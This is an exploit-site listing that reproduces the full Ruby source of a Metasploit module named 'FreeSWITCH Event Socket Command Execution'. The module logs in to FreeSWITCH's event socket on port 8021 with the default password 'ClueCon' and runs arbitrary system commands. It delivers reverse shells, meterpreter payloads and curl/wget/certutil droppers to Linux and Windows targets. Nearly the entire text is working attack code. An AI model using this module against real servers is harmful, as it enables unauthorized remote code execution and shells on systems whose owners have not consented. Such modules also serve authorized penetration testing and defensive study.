FreeSWITCH Event Socket Command Execution

2019.11.15
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeSWITCH Event Socket Command Execution', 'Description' => %q{ This module uses the FreeSWITCH event socket interface to execute system commands using the `system` API command. The event socket service is enabled by default and listens on TCP port 8021 on the local network interface. This module has been tested successfully on FreeSWITCH versions: 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64). }, 'License' => MSF_LICENSE, 'Author' => ['bcoles'], 'References' => [ ['CWE', '260'], # default password, configurable in event_socket.conf.xml ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket'] ], 'Platform' => %w[win linux unix bsd], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, 'CmdStagerFlavor' => %w[curl wget certutil vbs], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :psh_memory ], ['Windows (In-Memory)', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'}, 'Type' => :win_memory ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :win_dropper ] ], 'Privileged' => false, 'DefaultOptions' => { 'RPORT' => 8021 }, 'DisclosureDate' => '2019-11-03', 'DefaultTarget' => 0)) register_options [ OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon']) ] end def check connect banner = sock.get_once.to_s disconnect if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection') vprint_error 'Access denied by network ACL' return CheckCode::Safe end unless banner.include?('Content-Type: auth/request') return CheckCode::Safe end CheckCode::Appears end def auth(password) sock.put "auth #{password}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: command/reply' fail_with Failure::UnexpectedReply, 'Unexpected reply' end unless res.include?('Reply-Text: +OK accepted') fail_with Failure::NoAccess, 'Login failed' end print_status 'Login success' end def execute_command(cmd, opts = {}) api_function = opts[:foreground] ? 'system' : 'bg_system' sock.put "api #{api_function} #{cmd}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: api/response' fail_with Failure::UnexpectedReply, 'Unexpected reply' end vprint_status "Response: #{res}" end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end connect banner = sock.get_once.to_s auth(datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_memory if datastore['PAYLOAD'] == 'cmd/unix/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :win_memory if datastore['PAYLOAD'] == 'cmd/windows/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :psh_memory execute_command( cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) ) when :linux_dropper execute_cmdstager(:linemax => 1_500) when :win_dropper execute_cmdstager(:linemax => 1_500) end ensure disconnect unless sock.nil? end end


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